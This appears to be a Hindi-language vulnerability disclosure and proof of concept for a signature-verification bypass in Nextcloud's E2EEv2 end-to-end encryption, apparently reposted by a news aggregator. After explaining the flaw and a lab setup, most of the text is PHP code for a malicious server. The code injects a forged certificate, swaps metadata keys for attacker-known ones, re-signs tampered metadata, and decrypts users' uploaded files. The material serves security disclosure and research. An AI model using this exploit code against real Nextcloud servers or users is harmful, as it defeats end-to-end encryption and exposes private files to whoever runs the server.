* Nextcloud के E2EEv2 प्रोटोकॉल के सामान्य संचालन के दौरान, क्लाइंट सर्वर पर अपलोड करने से पहले फ़ोल्डर-मेटाडेटा पर क्रिप्टोग्राफ़िक रूप से हस्ताक्षर करते हैं। यह सुनिश्चित करता है कि फ़ाइल-साझाकरण या सिंकिंग परिवर्तनों के उद्देश्य से इसे पुनः प्राप्त करने पर मेटाडेटा के साथ छेड़छाड़ नहीं की गई है।
* हस्ताक्षर सत्यापन क्लाइंट द्वारा `foldermetadata.cpp:177` में किया जाता है, जब प्राप्त मेटाडेटा प्रारंभ किया जाता है। हालाँकि, एक दुर्भावनापूर्ण सर्वर इस जाँच को बायपास करने के दो तरीके हैं:
* वे एक खाली `X-E2EE-SIGNATURE` रिस्पांस हेडर के साथ उत्तर दे सकते हैं। चूँकि हेडर खाली है, `foldermetadata.cpp:168` पर स्थित शर्त का अर्थ है कि हस्ताक्षर सत्यापन नहीं होता है, और संशोधित मेटाडेटा क्लाइंट द्वारा स्वीकार कर लिया जाता है।
* वे `users` JSON ऐरे में एक प्रमाणपत्र इंजेक्ट कर सकते हैं, और फिर उस प्रमाणपत्र के साथ मेटाडेटा पर हस्ताक्षर कर सकते हैं। चूँकि `clientsideencryption.cpp:941` पर `CMS_NO_SIGNER_CERT_VERIFY` पास किया जाता है, हस्ताक्षर करने वाले प्रमाणपत्र का चेन-सत्यापन नहीं होता है और क्लाइंट केवल यह जाँचता है कि हस्ताक्षर करने वाला प्रमाणपत्र `clientsideencryption.cpp:955-971` में `certificatePems` वेक्टर में मौजूद है, जो सर्वर द्वारा नियंत्रित होता है।
* इस POC में हम दूसरी विधि का प्रदर्शन करेंगे क्योंकि यह विधि लागू करने के लिए अधिक कठिन है, हालाँकि दोनों को कार्य करने के लिए परीक्षण किया गया है।
* एक दुर्भावनापूर्ण सर्वर इस बायपास का उपयोग क्लाइंट्स को सर्वर को ज्ञात मेटाडेटा कुंजियाँ प्रदान करने के लिए कर सकता है। क्लाइंट तब इस मेटाडेटा कुंजी का उपयोग बाद की फ़ाइलों को एन्क्रिप्ट करने के लिए करेंगे, जिससे सर्वर एंड-टू-एंड एन्क्रिप्टेड फ़ोल्डरों में फ़ाइलों को डिक्रिप्ट और पढ़ सकता है।
> हस्ताक्षर बायपास का लाभ उठाने का यह तरीका 2023 में Albrecht, Backendal, Coppola, Paterson द्वारा E2EE प्रोटोकॉल के पिछले संस्करण पर खोजे गए एक हमले पर आधारित है ( वास्तव में, मेटाडेटा कुंजियों का प्रमाणीकरण हमले के लिए एक शमन रणनीति थी (लिंक किए गए पेपर का अनुभाग 5.1 देखें)।
1. इस रिपॉजिटरी को क्लोन करें, और DevContainer एक्सटेंशन का उपयोग करके इसे VS Code में खोलें। Nextcloud सर्वर रिपॉजिटरी में मौजूद एक पर आधारित DevContainer निम्नलिखित परिवर्तनों के साथ प्रदान किया गया है:
* डिबगिंग उद्देश्यों के लिए, पोर्ट `7001` पर एक `mitmproxy` रिवर्स प्रॉक्सी मौजूद है। वेब UI को पोर्ट `7002` पर एक्सेस किया जा सकता है।
* Nextcloud सर्वर की स्थापना पर, `encryption` और `end_to_end_encryption` ऐप्स भी सक्षम होंगे, और उपयोगकर्ता नाम और पासवर्ड `sharer` वाला एक खाता बनाया जाएगा।
2. सर्वर चालू होने के बाद, नवीनतम क्लाइंट का उपयोग करके ` पर (या ` पर रिवर्स प्रॉक्सी के माध्यम से) उससे कनेक्ट करें। वर्तमान में मैंने इसे v3.13.2 AppImage पर परीक्षण किया है।
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
3. संकेत मिलने पर, उपयोगकर्ता नाम `sharer` और पासवर्ड `sharer` के साथ लॉग इन करें। डिफ़ॉल्ट सिंकिंग विकल्प (इसके अंदर `welcome.txt` के साथ एक निर्देशिका `~/Nextcloud/` बनाना) स्वीकार करें, और Nextcloud क्लाइंट सेटिंग्स में एंड-टू-एंड एन्क्रिप्शन सेट करें।
4. `~/Nextcloud` निर्देशिका के अंदर एक नया फ़ोल्डर `encrypted_folder` बनाएँ। Nextcloud क्लाइंट सेटिंग्स में, इस फ़ोल्डर को एन्क्रिप्टेड के रूप में चिह्नित करें।
;
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
`getFakeUserMetadata` विधि में, हम पहले एक चुने हुए प्रमाणपत्र को `users` JSON कुंजी में इंजेक्ट करते हैं। यह हस्ताक्षर जालसाजी को सुविधाजनक बनाने के लिए है।
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
/* This is a non-root metadata. Return as normal*/
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
/* Create a new private key for the fake user */
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
फिर, चूँकि हमारे पास क्लाइंट की सार्वजनिक कुंजी तक पहुँच है, हम अपनी स्वयं की कुंजियों को एन्क्रिप्ट कर सकते हैं और एन्क्रिप्टेड मेटाडेटा कुंजियों को उन कुंजियों से बदल सकते हैं जिन्हें हम नियंत्रित करते हैं।
* Step 2: Change all the metadata keys to keys that we control.
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
चूँकि हमने मेटाडेटा कुंजियों के साथ छेड़छाड़ की है, हमें सिफरटेक्स्ट को भी बदलना होगा। यदि हमने पहले ही हमले को सफलतापूर्वक चला लिया है, तो हमारे पास वास्तविक मेटाडेटा तक पहुँच होगी जिसे हम पुनः एन्क्रिप्ट कर सकते हैं। अन्यथा हम एक खाली मेटाडेटा ऑब्जेक्ट प्रारंभ करेंगे और उसे एन्क्रिप्ट करेंगे।
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the PUT will
* contain metadata encrypted with a key known to us.
$fakeMetadata->folders = new \stdClass();
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
अंत में, हम छेड़छाड़ किए गए JSON पेलोड को लेते हैं और अपने प्रमाणपत्र के साथ उस पर पुनः हस्ताक्षर करते हैं। एक विकल्प यह भी होगा कि यहाँ खाली हस्ताक्षर का उपयोग किया जाए।
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
एक बार मेटाडेटा के साथ छेड़छाड़ हो जाने पर, क्लाइंट किसी भी नए मेटाडेटा को एन्क्रिप्ट करने के लिए हमारी एन्क्रिप्शन कुंजी का उपयोग करेगा। किसी भी नए मेटाडेटा की प्राप्ति पर, हम अपनी कुंजी का उपयोग करके उसे डिक्रिप्ट करने का प्रयास करते हैं।
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
public function decryptMetaData(int $id, string $metaData) {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$this->metadataMapper->update($metadataEntity);
$newMetadata->setEncryptedFilename($encryptedFilename);
$this->metadataMapper->insert($newMetadata);
अंत में, हम नई फ़ाइल बनाए जाने पर एक लिसनर बनाते हैं, और डिक्रिप्टेड मेटाडेटा में पाई गई फ़ाइल कुंजियों का उपयोग करके डिक्रिप्ट करने का प्रयास करते हैं।
class NodeCreatedListener implements IEventListener {
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->plaintextMapper = $plaintextMapper;
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
